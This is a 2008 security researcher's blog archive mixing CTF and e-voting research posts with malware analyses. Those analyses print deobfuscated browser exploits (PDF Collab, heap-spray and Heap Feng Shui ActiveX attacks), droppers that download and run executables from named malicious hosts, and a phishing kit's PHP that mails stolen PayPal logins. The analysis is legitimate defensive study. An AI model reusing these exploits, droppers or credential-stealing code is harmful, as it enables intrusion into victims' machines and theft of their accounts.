blog
December 7, 2008
This Friday, we hosted the 2008 edition of the UCSB international Capture The Flag (iCTF) competition. The iCTF is an 8-hour, distributed, security exercise for University teams. This year, 39 teams from 9 countries participated.
The theme of this year's edition was inspired by the 24 TV series. Each team had to break into a computer network controlled by a criminal organization to prevent a bomb from exploding. Each team had access to a separate (but identical) version of the criminal's network. Before reaching the host controlling the bomb, the teams had to compromise a web server, a financial server, and a development site, for a total of 7 services. Besides the main services to break into, teams had to solve 13 challenges in 4 categories (trivia, binary, forensics, and reverse engineering) to gain points. Points could be used to buy hints to break the services hosted on the network.
The final ranking was based on whether a team completed the mission of defusing the bomb and on the number of available points. The top 3 teams were:
Congratulations to ENOFLAG and all teams that participated in the competition. See you again next year!
Note: more information and resources are available on the official CTF page.
November 13, 2008
Lately, malicious PDFs are becoming more popular. They generally abuse the JavaScript functionality that Adobe added to the PDF specification. Luckily, it is not too difficult to analyze these files, since, as we will see, they use pretty much the same techniques that are used in malicious JavaScript code. I'll use as an example the us.pdf file, which was used in a drive-by exploit attack hosted on 78.157.142.122.
PDFs are generally compressed, so the first step is to uncompress the file. To do this, I generally use the nice pdftk tool:
pdftk us.pdf output us.clear.pdf uncompress
Now, if you open us.clear.pdf, the JavaScript code is nicely readable inside one of the objects defined by the document:
function re(count,what)
var v = "";
while (--count >= 0) v += what;
return v;
}
function start() {
var sc = unescape(
"%u9090%u9090%u9090%u9090%ueb90%u5e1a%u5b56%u068a" +
"%u303c%u1674%ue0c0%u4604%u268a%ue480%u020f%u88c4" +
"%u4303%ueb46%ue8e9%uffe1%uffff%u585e%u5c51%u5050" +
...
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
"%u9090%u9090%u9090%u9090%u9090");
if (app.viewerVersion >= 7.0) {
plin = re(1124,unescape("%u0b0b%u0028%u06eb%u06eb")) +
unescape("%u0b0b%u0028%u0aeb%u0aeb") +
unescape("%u9090%u9090") +
re(122,unescape("%u0b0b%u0028%u06eb%u06eb")) +
sc +
re(1256,unescape("%u4141%u4141"));
}
else
{
ef6 = unescape("%uf6eb%uf6eb") + unescape("%u0b0b%u0019");
plin = re(80,unescape("%u9090%u9090")) +
sc +
re(80,unescape("%u9090%u9090"))+
unescape("%ue7e9%ufff9")+
unescape("%uffff%uffff") +
unescape("%uf6eb%uf4eb") +
unescape("%uf2eb%uf1eb");
while ((plin.length % 8) != 0)
plin = unescape("%u4141") + plin;
plin += re(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
var shaft = app.setTimeOut("start()",2000);
The code exploits a vulnerability in the collectEmailInfo method of
the Collab object
(CVE-2007-5659).
The shellcode used in the attack downloads an executable file from the
same site. Anubis has some interesting details
on the behavior of this
executable.
Another interesting thing to note is that PDF files can contain quite a few features and behaviors that may surprise and catch off-guard the attackers. Make sure to read Didier Stevens' post on how he used the incremental updates feature to reconstruct how the malicious file was created.
October 29, 2008
Just a couple of weeks ago I was thinking that 17 exploits in one JavaScript attack were many. Well, it isn't so. I've recently stumbled upon a couple of pages that contain 18 and 25 different exploits. The domains that host the pages are, respectively, google-analistyc.net and 85.17.166.230.
if (
office() ||
dl() ||
pdf() ||
wme() ||
ya1() ||
ya2() ||
fb() ||
mdss() ||
creative() ||
wks() ||
ogame() ||
ca() ||
buddy() ||
gomweb() ||
xmlcore() ||
quick() ||
real() ||
ntaudio()
) {}
Here are the exploits we haven't already seen:
A8D3AD02-7508-4004-B2E9-AD33F087F43C) buffer overflow
(CVE-2008-3008).9D39223E-AE8E-11D4-8FD3-00D0B7730277) buffer overflow via long server property
followed by an invocation of the receive method
(CVE-2007-3147).DCE2F8B1-A520-11D4-8FD0-00D0B7730277) buffer overflow via long server property followed
by an invocation of the send method
(CVE-2007-3148).5C6698D9-7BE4-4122-8EC5-291D84DBD4A0) overflow in the ExtractIptc and
ExtractExif properties
(CVE-2008-0660).EEE78591-FE22-11D0-8BEF-0060081841DE) buffer overflow via long ModeName parameter in the
FindEngine function
(CVE-2007-2222).The second page has 25 exploits:
if (
mdac() ||
dl() ||
flash() ||
pdf() ||
wme() ||
wfi() ||
com() ||
ya1() ||
ya2() ||
fb() ||
mdss() ||
cr1() ||
cr2() ||
cr3() ||
cr4() ||
creative() ||
wks() ||
ogame() ||
ca() ||
buddy() ||
gomweb() ||
xmlcore() ||
quick() ||
real() ||
ntaudio()
) {}
Here, the "new" ones are:
7C3B01BC-53A5-48A0-A43B-0C67731134B9) overflow in SetHandler method
(CVE-2007-6493).5A074B2B-F830-49de-A31B-5BB9D7F6B407)
(CVE-2007-5107).F8984111-38B6-11D5-8725-0050DA2761C4) via
DoWebMenuAction function
(CVE-2007-1683).Now, regarding the second part of the title: there seem to be at least two bugs in these exploit codes.
First, the function cr3 instantiates the control
07B18EAB-A523-4961-B6BB-170DE4475CCA and then sets the property
ShortFormat. This property doesn't seem to exist. ShortFormat is,
instead, the attack vector for the exploit against the Ask Toolbar
(included in the cr2 function). It's probably a case of wrong
copy-and-paste.
function cr3() {
try {
var obj = null;
obj=cobj("{07B18EAB-A523-4961-B6BB-170DE4475CCA}");
if(obj) {
ms2();
arg1 = unescape("\x0c");
while(arg1.length<0x200) arg1+=unescape("\x0c");
obj.ShortFormat = arg1;
}
} catch(e) {}
return 0;
}
Second, and this is present in both pages, the mdss function gets
wrong its memory allocation. In fact, it creates a string (in the buf
variable) and doubles its length in a loop that should execute 9999
times. Of course, this doesn't bode well: the machine will likely lock
up before the offending process goes out of memory and, finally, gets
killed.
function mdss(){
try {
var obj=null;
obj=cobj("{EEE78591-FE22-11D0-8BEF-0060081841DE}");
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
for (i=1;i<=9999;i++)
buf += buf;
EngineID="default";
...
Interestingly, the original milw0rm exploit did the right thing:
var buf = unescape("%u4141");
while (buf.length <= 261) buf = buf + unescape("%u4141");
Probably, another case of wrong copy-and-paste...
October 16, 2008
It is quite common for malicious JavaScript pages to package more than one exploit together and attempt to run all of them against the victim browser. But, what about 17 different exploits in the same script?
<html><body><script>function v8P6GEVcq(cD5Q2LVDZD9t){
return String["from"+"Char"+"Code"](cD5Q2LVDZD9t);
}
function sK5tVpH6uQTNjz(VqiKaGXn){
var vjHVVi9s=0,EFWwHQWBlb=VqiKaGXn.length,lQMLLno=1024,
CoZtfIDFYl,LIIVFZwmlhNqxo,W018sXwS="",ykerJQuIiCo=vjHVVi9s,
gkkYR9OOwch6=vjHVVi9s,qyBlQcNBGEVh0=vjHVVi9s,
OLcO9M0gn=Array(63,12,30,11,6,32,31,53,34,47,0,0,0,0,0,0,57,50,49,
17,55,1,43,44,20,5,39,46,58,9,41,59,62,36,29,14,27,15,8,7,4,37,35,
0,0,0,0,22,0,28,16,19,3,2,40,51,61,42,52,13,33,45,48,10,38,54,
56,0,26,21,24,60,18,23,25);
for(LIIVFZwmlhNqxo=Math.ceil(EFWwHQWBlb/lQMLLno);
LIIVFZwmlhNqxo>vjHVVi9s; LIIVFZwmlhNqxo--)
{
for(eval("CoZtfIDFYl=Ma"+"th.m"+"in(EFWwHQWBlb,lQMLLno)");
CoZtfIDFYl>vjHVVi9s; CoZtfIDFYl--,EFWwHQWBlb--)
{
qyBlQcNBGEVh0|=(OLcO9M0gn[VqiKaGXn.charCodeAt(ykerJQuIiCo++)-48])<<gkkYR9OOwch6;
if(gkkYR9OOwch6) {
W018sXwS+=v8P6GEVcq(149^qyBlQcNBGEVh0&255);
qyBlQcNBGEVh0>>=8;
gkkYR9OOwch6-=2;
} else{
gkkYR9OOwch6=6;
}
}
}
return (W018sXwS);
}
var QCDhu="6AMJaSShJy3rJJUiDq6rlyPFLi3fGK3NJeLKJ2oFOooNLe6OLoiK@
...
AzmNJ2mBc0PwD396AMJaAM97LSL6AMJae";
eval(sK5tVpH6uQTNjz(QCDhu));
</script></body></html>
After the initial deobfuscation step (nothing too fancy here, this time), the actual code is available in the clear. Two surprises here. First, as I said, there are 17 exploits:
if (
mdac() ||
office() ||
dl() ||
pdf() ||
wfi() ||
com() ||
creative() ||
wks() ||
ogame() ||
ca() ||
buddy() ||
gomweb() ||
xmlcore() ||
quick() ||
real() ||
ntaudio()
|| dani()
) {}
The exploits are targeting:
Second, the code doesn't use the usual heap spraying technique, but an adaptation of the Heap Feng Shui technique by Alex Sotirov. For example, the exploit for the DirectAnimation vulnerability is:
function dani() {
try{
obj=cobj("DirectAnimation.PathControl");
if(obj){
ms();
init();
var jmpecx = 0x0c0c0c0c;
var vtable = addr(0x7ceb9090);
for (var i = 0; i < 124/4; i++)
vtable += addr(jmpecx);
vtable += padding.substr(0, (1008-138)/2);
var fakeObjPtr = heapBase + 0x688 + ((1008+8)/8)*48;
var fakeObjChunk = padding.substr(0,
(0x200c-4)/2) + addr(fakeObjPtr) + padding.substr(0, 14/2);
CollectGarbage();
flush();
for (var i = 0; i < 100; i++)
alloc_str(vtable);
alloc_str(vtable, "lookaside");
free("lookaside");
for (var i = 0; i < 100; i++)
alloc(0x2010);
for (var i = 0; i < 2; i++) {
alloc_str(fakeObjChunk);
alloc_str(fakeObjChunk, "freeList");
}
alloc_str(fakeObjChunk);
free("freeList");
obj.KeyFrame(0x40000801, new Array(1), new Array(1));
}
}catch(e){}
return 0;
}
In all cases, the binary to be downloaded lives at
http://59.125.229.71/ex/7/load.php?id=106 and is well recognized by most
anti-virus
Update (10/17/08): The xplo0it Analysis blog also has a nice description of this exploit.
October 15, 2008
A few weeks ago, the good folks of Malware Domain List pointed out an interesting new obfuscation technique being used by some malicious JavaScript samples.
Here's the code of the malicious page (from reddii.ru):
<html><body><input type='text'style='display:none'id='vimamikolu2'
value='kekin1=new Array(161,244,251,239,252,240,248,189,238,239,254,
...
166,144,151,161,178,238,254,239,244,237,233,163);'/>
<script>votot=function(str){document.write(str);};
dotemerape7=new String();
lifum=Math.round(-80.131*Math.SQRT1_2-16.601*Math.LOG2E+342.801*Math.LN2);
eval(document.getElementById('vimamikolu2').value);
for(pidum9=0;pidum9<1577;pidum9++)
dotemerape7+=String.fromCharCode(kekin1[pidum9]^lifum);
votot(dotemerape7);
</script></body></html>
As it's typically done, this code just acts as the decoding routine for
the actual exploit code, which is obfuscated. However, in this case, the
obfuscated code is stored and dynamically retrieved from the HTML code
surrounding the JavaScript code. More precisely, the decoding routine
retrieves the value of the attribute value of the HTML element with id
vimamikolu2. This string is evaluated via eval: this defines the
array kekin1. Then, the code applies String.fromCharCode to each
element of the array (xored with a constant value), and writes the
result back to the page.
While not particularly difficult to reverse manually, this deobfuscation technique has an important consequence for deobfuscation and analysis tools: they need to have a decent implementation of the DOM model (e.g., understand the getElementById function) in order to automatically get around this kind of tricks. Incidentally, I'm working on one such tool (which handles this sample just fine) and should have something ready (and releasable) soon: check back!
The deobfuscated code reveals the usual exploit for the MDAC vulnerability and a more interesting (and recent) exploit for the Office Snapshot Viewer vulnerability (CVE-2008-2463):
function goMDAC() {
...
}
function goPDF() {
wnd=window;
while (wnd.parent!=wnd)
wnd=wnd.parent;
wnd.location="getfile.php?f=vispdf";
}
function goSnap() {
var sfrom = 'http://reddii.ru/traffic/sploit1/getexe.php?h=12';
var sto = 'c:/Documents and Settings/All Users/Start Menu/Programs/Startup/'
+'svchost.exe';
try {
snapattack.SnapshotPath = sfrom;
snapattack.CompressedPath = sto;
snapattack.PrintSnapshot(sfrom,sto);
} catch(e) {}
}
setTimeout('goMDAC();',3500);
setTimeout('goPDF();',5000);
goSnap();
Another interesting aspect of this exploit is that it (also) tries to download PDF files. But this is material for another post...
October 9, 2008
It is pretty interesting to see how the pop culture picks up and re-elaborates something you have been working on as a research topic, in this case, the security of electronic voting machines.
And, what's more pop culture than The Onion, The Simpsons, and xkcd (OK, maybe geeky-pop)?
The Onion has covered eletronic voting in several cases. Probably, the funniest one is a breaking news where it is announced that Diebold prematurely leaked the results of the '08 elections.
The Simpsons have a great (leaked) episode where Homer attempts to vote for Obama, but is confronted with "miscalibrations" in the DRE machine he's forced to use...
xkcd came up with a great comic strip to comment on the fact that anti-virus software allegedly caused problems with Premier Election Solutions (formerly, Diebold) voting machines in Ohio.
October 7, 2008
It is very common to find web-based malware that is protected by one, two, or even three rounds of obfuscation. Obfuscation reduces the chances that anti-malware tools automatically detect the threat and slows down manual analysis.
But, what about 48 (yes, forty-eight!) layers of obfuscation? A phishing kit for PayPal found on the site for PhishTank's entry 502529 contained the following PHP code:
<? eval(gzinflate(base64_decode('DZdHDsTWEQWv4p1lcMGcYFkCc86ZG2GY
c45zeg9P8NHNrlfv77/+/Ptf5fUZ/qi/7VQNn6P8Yz+2f7b5gNE/ss9eEtg/RZnPRfn
...
iJvAQurlJL/whtxnAqS+mV8XYRnKzb1/GZw/zd/1S/bqWwDFK3AFxPSt1LcQgUJZgdZ
QgCMpxBYIUAVL/+/d/ft9///X3X3/+/X8='))); ?>
After the first deobfuscation, one obtains:
><? >eval(gzinflate(str_rot13(base64_decode('FZfHDoToEYRfxTevxYGc5
LVK5JwzF4schpyZp/csEhInoPvv+rrqr//++dc/qisb/nW+3UcP2UT9sR/b/7b5gNE/8
...
c8B1Fs0A/FFcVn1mGJmSUb77fTB+wxXDBv/GkFqPBSkm2N+x6LNrGy1a7ro+58z4Lfdm
iWHhsrzATBtN3mhGgyROECAIXj+XgoIggEX/+ee/fte///HXf//86/8=')))); ?><
The same technique (eval composed with gzinflate, str_rot13, and base64_decode) is used in all the remaining layers. After 48 decoding steps, the familiar phish drop/backdooring code is revealed:
<?
include 'write your mail here.txt';
include 'images/header.bmp';
$ladate=date("D M d, Y g:i a");
$ip = getenv("REMOTE_ADDR");
$message .= "--------------PayPal Spam ReZulT-----------------------\n";
$message .= "E-Mail ID : ".$_POST['login_email']."\n";
$message .= "Password : ".$_POST['login_password']."\n";
$message .= "ip: $ip\n";
$message .= "Date: $ladate\n";
$message .= "---------------Created BY Dj_Amen@hotmail.fr-----------------------------\n";
$T = "$to,$iks";
$subject = "PayPal ReZuLt ";
$headers = "From: Amen<steamhacktn@gmail.com>";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
mail($T,$subject,$message,$headers);
header("Location: Processing.htm");
?>
The iks variable is defined in the header.bmp file and corresponds to
the address amen.dj@gmail.com:
<?
$ik = "YW1lbi5kakBnbWFpbC5jb20=";
$iks = base64_decode("$ik");
?>
September 13, 2008
PHP shells are tools that attackers often use to manage compromised web servers. It turns out, some of these attackers may be attacked by their own tools.
In fact, PhishTank report
505183 shows a nice example of
a backdoor inserted in a PHP shell.
The shell in question is a variant of the w4ck1ng shell. Each page
generated by the shell contains the following script tag:
<script>
var dc=document.write;
var sc=String.fromCharCode;
var exe="http://reda-vision.com/config.exe";
var file="run.exe";
dc(sc(60,115,99,114,105,112,116,62,118,97,114,32,97,105,108,105,97,110,
44,122,104,97,110,44,99,109,100,115,115,59,97,105,108,105,97,110,61,34) +
exe + sc(34,59,122,104,97,110,61,34) + file + sc(34,59,99,109,100,115,
115,61,34,99,109,100,46,101,120,101,34,59,116,114,121,123,118,97,114,32,
...
97,116,99,104,40,101,41,123,125,59,60,47,115,99,114,105,112,116,62));
</script>
After decoding the JavaScript code, a classic drive-by download attack is revealed:
var ailian,zhan,cmdss;
ailian="http://reda-vision.com/config.exe";
zhan="run.exe";
cmdss="cmd.exe";
try{
var ado=(document.createElement("object"));
var d=1;
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var e=1;
var xml=ado.CreateObject("Microsoft.XMLHTTP","");
var f=1;
var ln="Ado";
var lzn="db.St";
var an="ream";
var g=1;
var as=ado.createobject(ln+lzn+an,"");
var h=1;
xml.Open("GET",ailian,0);
xml.Send();
as.type=1;
var n=1;
as.open();
as.write(xml.responseBody);
as.savetofile(zhan,2);
as.close();
var shell=ado.createobject("Shell.Application","");
shell.ShellExecute(zhan,"","","open",0);
shell.ShellExecute(cmdss," /c del /S /Q /F "+zhan,"","open",0);
} catch(e){};
The config.exe file is detected by one third of the antivirus tools used by VirusTotal, and, according to the Anubis report, behaves like a Bifrost variant.
September 8, 2008
Last summer, I was a member of the UCSB Computer Security Group that tested the security of the Sequoia electronic voting system. Our work was part of the Top-To-Bottom Review of electronic voting machines in California, ordered by Secretary of State D. Bowen.
Our task was to detect vulnerabilities in the Sequoia voting system and implement exploits that would "cause incorrect recording, tabulation, tallying or reporting of votes" or that would "alter critical election data such as election definition or system audit data".
We designed and implemented a number of these attacks. In particular, we proved that it is possible to combine several attacks to inject into the system a virus-like malicious software that automatically spreads to as many voting machines as possible. We have (at last!) been able to release a video we prepared that shows what can be achieved by such a virus.
The video lasts about 16 minutes: it gives a nice overview of the voting system and shows the complete life-cycle of the virus (click on the video to play it). If you are in a hurry, I recommend to start watching around minute 12:26 to see that votes can be changed on a VVPAT-enabled DRE machine and that seals can be bypassed without being detected.
You can download the video from here. More information is available on the Computer Security Group's voting page.
Update: the group's site has been slashdotted... The video can be found on youtube (part I, part II)
September 2, 2008
What is VBScript used for? For web attacks, of course!
For example, flyzhu.9966.org, a domain used in the recent SQL injection
campaigns (and, surprisingly, still active), offers some nice examples of
malicious VBScript code. To run these samples, you can use
Cscript under Windows. To
dump interesting values to the console, just use the WScript.Echo function.
On flyzhu.9966.org, the first step of the attack is performed by following script:
<script language="VBScript">
Cn911="83,61,34,51,67,53,...,84,69,32,68"
Function Rechange(Q)
S=Split(Q,",")
Cn922=""
For i = 0 To UBound(S)
Cn922=Cn922&Chr(eval(S(i)))
Next
Rechange=Cn922
End Function
EXECUTE(Rechange(Cn911))
</script>
The actual content, in the Cn911 variable, is obfuscated by
substituting each character with its ASCII encoding. Once decoded, one
obtains another obfuscated script:
S="3C5363726970...6970743E"
D="Document.Write """""
C="&CHR(&H"
N=")"
DO WHILE LEN(S)>1
IF ISNUMERIC(LEFT(S,1)) THEN
D=D&C&LEFT(S,2)&N
S=MID(S,3)
ELSE
D=D&C&LEFT(S,4)&N
S=MID(S,5)
LOOP
EXECUTE D
The ASCII encoding trick is used again to obfuscate the actual content.
The loop essentially reads two characters at a time from S, interprets
them as a hex number, and substitutes the corresponding character in the
ASCII encoding. The result is yet another obfuscated script:
Document.Write &CHR(&H3C)&CHR(&H53)...&CHR(&H70)&CHR(&H74)&CHR(&H3E)
The third round uses, again, ASCII encoding. Once deobfuscated, one obtains:
<Script Language=VBScript>
On Error Resume Next
Set Ob = Document.CreateElement("object")
Ob.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
Set Pop = Ob.Createobject("Adodb.Stream","")
If Not Err.Number = 0 then
Err.clear
Document.write ("<embed src=flash.swf></embed>")
Document.write ("<iFrame sRc=real.htm width=0 height=0></ifrAmE>")
Document.write ("<iFrame sRc=new.htm width=0 height=0></ifrAmE>")
Else
Document.write ("<iFrame sRc=help.htm width=0 height=0></ifrAmE>")
End If
</Script>
This script checks if the browser is vulnerable to the MDAC remote code execution exploit (MS06-014), and, depending on the result, loads different files. In all cases, these files attempt to exploit various vulnerabilities to download and execute a binary from http://www.tlcn.net/cert/fuckkr.exe.
In particular, the loaded files are:
August 30, 2008
In my post about the vulnerability in the SuperBuddy ActiveX control, I've glossed over a couple of details that may be interesting:
Several tools solve the first problem. In particular, I like OLE/COM Object Viewer (oleviewer, in short) and COMRaider.
For example, oleviewer shows the following information about SuperBuddy:
In particular, note the CLSID and the ProgID fields (you'll need these values if you want to instantiate the control), and the path to the DLL that provides the control. On the left hand side, there is the list of interfaces implemented by the control.
If you focus on the ISuperBuddy interface, you obtain the list of its methods. As expected, the vulnerable method LinkSBIcons is shown and we can also see its signature.
For the second problem (getting the address of a method), I could not find a better way than instantiating a control and dumping its virtual table (I see that this is essentially the solution also proposed by the folks at Websense):
#include "stdafx.h"
#import "C:\Program Files\AOL 9.0\sb.dll"
int _tmain(int argc, _TCHAR* argv[])
{
SBLib::ISuperBuddy *pSb;
CoInitialize(NULL);
HRESULT hr = CoCreateInstance(__uuidof(SBLib::SuperBuddy),
NULL,
CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER,
__uuidof(SBLib::ISuperBuddy),
(LPVOID *) &pSb);
if (hr == S_OK) {
DWORD vtable = *(DWORD *) pSb;
DWORD *p = (DWORD *) vtable;
for (int i = 0; i < 55; i++) {
printf("%02d: %p", i, *p);
printf("\n");
p++;
}
} else {
printf("CoCreateInstance error: %x\n", hr);
return 1;
}
return 0;
}
The functions are in the same order as shown by oleviewer: at index 2 you find IUnknown::Release(), and, then, counting up, all the others. LinkSBIcons is at index 49, which corresponds to address 0x6398692D.
00: 63984070
01: 63983FEC
02: 63983FFC
...
48: 639870C9
49: 6398692D
50: 6398735B
...
Let me know if you know a better way to do this!
August 28, 2008
In previous posts, I've talked about JavaScript-based attacks, which are often used, for example, in drive-by exploits. With this and some of the next posts, I'll look more in detail at the actual vulnerabilities and exploits used in these attacks. I will leave the discussion of how to make reliable exploits for another series of posts (spoiler: heap spray and similar techniques) ;-)
So, let's start with the AOL SuperBuddy exploit. SuperBuddy is an ActiveX control in America Online 9.0. Its method LinkSBIcons dereferences an arbitrary function pointer, allowing remote attackers to execute arbitrary code by modifying the pointer value. The vulnerability is cataloged as CVE-2006-5820 in the CVE database.
Here is a typical exploit (it is also available as a Metasploit exploit):
function a9_bwCED() {
try {
var OBGUiGAa = new ActiveXObject('Sb.SuperBuddy');
if (OBGUiGAa) {
Exhne69P();
dU578_go(9);
OBGUiGAa.LinkSBIcons(0x0c0c0c0c);
}
} catch(e) { }
return 0;
}
The function Exhne69P sets up the shellcode and the function
dU578_go sets a cookie, probably to keep statistics on the success
rate of the attack. The actual exploitation occurs by invoking the
LinkSBIcons method with the 0x0c0c0c0c parameter.
The vulnerable code is contained in the sb.dll library:
6398692d <LinkSBIcons>::
6398692d: push %ebp
6398692e: mov %esp,%ebp
63986930: mov 0xc(%ebp),%eax ; eax := arg
63986933: test %eax,%eax
63986935: je 0x63986969 ; bail out if NULL
63986937: mov (%eax),%ecx ; ecx := *arg
63986939: push %esi
6398693a: push %edi
6398693b: mov 0x8(%ebp),%edi
6398693e: lea 0x30(%edi),%esi
63986941: push %esi
63986942: push $0x6399037c
63986947: push %eax
63986948: call *(%ecx) ; call *ecx
The function gets the user-provided parameter, checks that it is not NULL, and happily uses it to make a function call. At this point, an attacker simply has to choose an appropriate value for the argument to execute arbitrary code or, less ambitiously, crash the program trying to access 0x41414141, as in the screenshot below:
August 21, 2008
Today, CRYPTO2008 has finished. I've only attended a few talks, but they all were very interesting. In particular, I've seen:
On the Power of Power Analysis in the Real World: A Complete Break of the KeeLoq Code Hopping Scheme. A group from Ruhr University Bochum used differential power analysis (a form of side channel) to break the KeeLoq algorithm, which is used, for example, in garage and car door opening devices. They also had a demo, which, unfortunately, didn't work, possibly for the interference of the microphone. In any case, the receiver was beeping like hell all the time :-)
R. Rivest, The MD6 hash function. Ron Rivest gave an overview of his and his team proposal for the upcoming NIST hash function competition. To me, more than the technical aspects (tree hash, large input to the compression function, provably resistant to common differential techniques), it was interesting to see some of the reasoning behind the process of designing a hash function.
A. Shamir, How to Solve it: New Techniques in Algebraic Cryptanalysis. Adi Shamir presented a new attack that applies when bits of the output of a stream cipher can be expressed as a polynomial of the key and input with sufficiently low degree (~16). I didn't follow all the details, but it sounded very cool (and the crowd seemed to agree). This will be remembered either as "the cube attack" or as "the paper that was rejected at AsiaCrypto".
The Rump Session was, as usual, a lot of fun, with many laugh-out-loud
presentations. DJ Bernstein kept everybody surprisingly on time, with the
help, when necessary, of a big, intimidating, and noisy air gun! I left after
the KeeLoq group went on stage singing and dancing on exotic tunes to present
their COPACOBANA project...
Check out the slides for the session
here.
August 20, 2008
This was not a security risk evaluation but an unrealistic worst case scenario evaluation [...] performed in a laboratory environment by computer security experts with unfettered access to the machines and software over several weeks. This is not a real-world scenario [...]
Security reviews of the Hart system as tested in California, Colorado, and Ohio were conducted by people who were given unfettered access to code, equipment, tools and time [...]
The "unfettered access" claim has been a standard response from electronic machine vendors to the reports of serious security flaws in their equipment, as identified by recent evaluations, such as the California's Top-To-Bottom Review and the Ohio's EVEREST project.
This claim, essentially, postulates two theories:
Theory number 1) is very suspicious from a security point of view, in that it builds on two discredited ideas: that "attackers/analysts have limited capabilities" (weak threat model), and that "as long as the system is unknown, it is secure" (security by obscurity). I will not elaborate further on this, since, I think, what follows is more interesting.
Theory number 2) (electronic voting equipment is not available to the general public) has been proven wrong a number of times in the past. There are various ways in which voting equipment can become accessible to non authorized people:
Here is a list of cases when, for similar or other reasons, voting systems have finished (or might have finished) in the hands of the general public:
I'll try to maintain this list accurate and up-to-date, so if you know more cases, please, let me know! Thanks to Joseph Lorenzo Hall for his comments and for contributing many entries to this list. Errors are mine.
August 13, 2008
After breaking into a web server, attackers often want to get higher privileges on the local machine (through local-to-root attacks) and to compromise other remote machines (remote-to-local attacks). To do that, they "need exploits, lots of exploits".
And so, it is time to talk about the exploitation tools found on phishing sites.
Sifting through the various tools, scripts, and programs abandoned on these sites offers more than one interesting finding. One can find recent exploits, such as the one attacking the vmsplice bug in 2.6.x Linux kernels; older ones targeting sendmail on Linux 2.2.x; historic ones, such as the smurf attack released in 1999; and exotic exploits, such as a local root against AIX.
Among the remote exploitation tools, vulnerability scanners are very popular. They mostly look for file injection vulnerabilities, generally using google dorks (i.e., they are search worms).
And, unsurprisingly, considering the current botnet fad, bots are also very popular. The ones I've found are traditional bots that connect to IRC channels and wait commands. Good, old, DDoS attacks seem also common, either through TCP, UDP, or HTTP.
Related posts:
August 7, 2008
Tomorrow, we are off to Vegas for DEFCON 16. We are going to compete in the Capture The Flag contest. It's going to be fun: there are a lot of good teams and the usual Kenshoto's organization.
Feel free to stop by and say hi: we'll be the sleepless guys in the big, noisy room ;-)
Update: so, we've got 6th place, which is definitely not what we were hoping for... In any case, the game, as usual, was a lot of fun and of learning. Congratulations to sk3wl of root, who dominated the contest. We'll do better next year!
July 27, 2008
Tomorrow, I'm going to present our paper There is No Free Phish: An Analysis of "Free" and Live Phishing Kits at the USENIX WOOT Workshop. The paper talks about phishing kits, which are phishing sites in a ready-to-deploy package. We collected a large number of these kits, both from sites distributing them and live phishing web servers. We found that phishing kits really are a double-edged sword: on one hand, phishers use them to get confidential information from unsuspecting victims; on the other hand, more experienced attackers plant backdoors in these kits through which they covertly receive the information phished by the kits' users.
Here is the abstract:
Phishing is a form of identity theft in which an attacker attempts to elicit confidential information from unsuspecting victims. While in the past there has been significant work on defending from phishing, much less is known about the tools and techniques used by attackers, i.e., phishers. Of particular importance to understanding the phishers' methods and motivations are phishing kits, packages that contain complete phishing web sites in an easy-to-deploy format. In this paper, we study in detail the kits distributed for free in underground circles and those obtained by crawling live phishing sites. We notice that phishing kits often contain backdoors that send the entered information to third parties. We conclude that phishing kits target two classes of victims: the gullible users from whom they extort valuable information and the unexperienced phishers who deploy them.
After WOOT, I'm going to attend USENIX Security.
See you in San Jose!
July 21, 2008
Tomorrow, the International Symposium on Software Testing and Analysis (ISSTA) starts in Seattle. It is one of the main venues for research on testing and software analysis.
This year, we have a paper there. It is Are Your Votes Really Counted? Testing the Security of Real-world Electronic Voting Systems and it is joint work with quite a few people in the Computer Security Lab (Davide Balzarotti, Greg Banks, myself, Viktoria Felmetsger, Richard Kemmerer, William Robertson, Fredrik Valeur, and Giovanni Vigna). The paper is the result of our experience with the California Top-To-Bottom Review of electronic voting machines and the similar EVEREST project in Ohio. We describe the methodology we used to perform red-team testing of two real-world electronic voting systems (one produced by Sequoia, the other by ES&S), the tools and techniques we developed, some of the vulnerabilities we identified (spoiler: we designed and implemented malicious code capable of spreading from machine to machine in both cases), and the lessons we learned in the process.
Here is the abstract:
Electronic voting systems play a critical role in today's democratic societies, as they are responsible for recording and counting the citizens' votes. Unfortunately, there is an alarming number of reports describing the malfunctioning of these systems, suggesting that their quality is not up to the task. Recently, there has been a focus on the security testing of voting systems to determine if they can be compromised in order to control the results of an election. We have participated in two large-scale projects, sponsored by the Secretaries of State of California and Ohio, whose respective goals were to perform the security testing of the electronic voting systems used in those two states. The testing process identified major flaws in all the systems analyzed, and resulted in substantial changes in the voting procedures of both states. In this paper, we describe the testing methodology that we used in testing two real-world electronic voting systems, the findings of our analysis, and the lessons we learned.
If you are attending the conference, see you in Seattle!
July 14, 2008
This is the second installment in the series about interesting things found on web sites that are taken over to host phishing pages. This time, we talk about mailers (the first post was about PHP shells), and — little teaser — we keep a surprise for the end of the post.
So, the bad guys have just compromised a web server, uploaded a phishing kit, and deployed a perfect copy of, say, Bank of America. What's the next step? The attackers just have to attract victims to the site and hope that they will give away their credentials and other confidential information. The best way of doing it is to spam the world with emails claiming that the recipient's account has been suspended (or some other more or less plausible story) and that the situation can be solved by visiting the phishing site.
How do the phishers send the emails? If they don't want to rent a botnet, a cheap way is to use the compromised server's resources. And here is where a mailer comes useful. A mailer is a program, typically written in PHP, that has a web-based interface through which one can insert the mail's message and a list of recipients. The program then sends out the emails. Here is a screenshot of one of these mailers:
The mailers I've seen most frequently are Subzero, Str8 Inbox, PHP Mailer, ToXiC350 MailEr, Mailing Machine, Bulk Maileren, INBOX PHP-Mailer, Mailer All Inbox, Mass Fuckin Mailer Inbox, PHP-Mailer by Mr-Brain (a familiar name, isn't?). Furthermore, many of the PHP shells we have seen previously also offer mailer functionality.
Finally, here is one surprise I've found in one of the mailers whose source code was also left on the phishing site:
<?php
$a5 = $_SERVER['HTTP_REFERER'];
$b33 = $_SERVER['DOCUMENT_ROOT'];
$c87 = $_SERVER['REMOTE_ADDR'];
$d23 = $_SERVER['SCRIPT_FILENAME'];
$e09 = $_SERVER['SERVER_ADDR'];
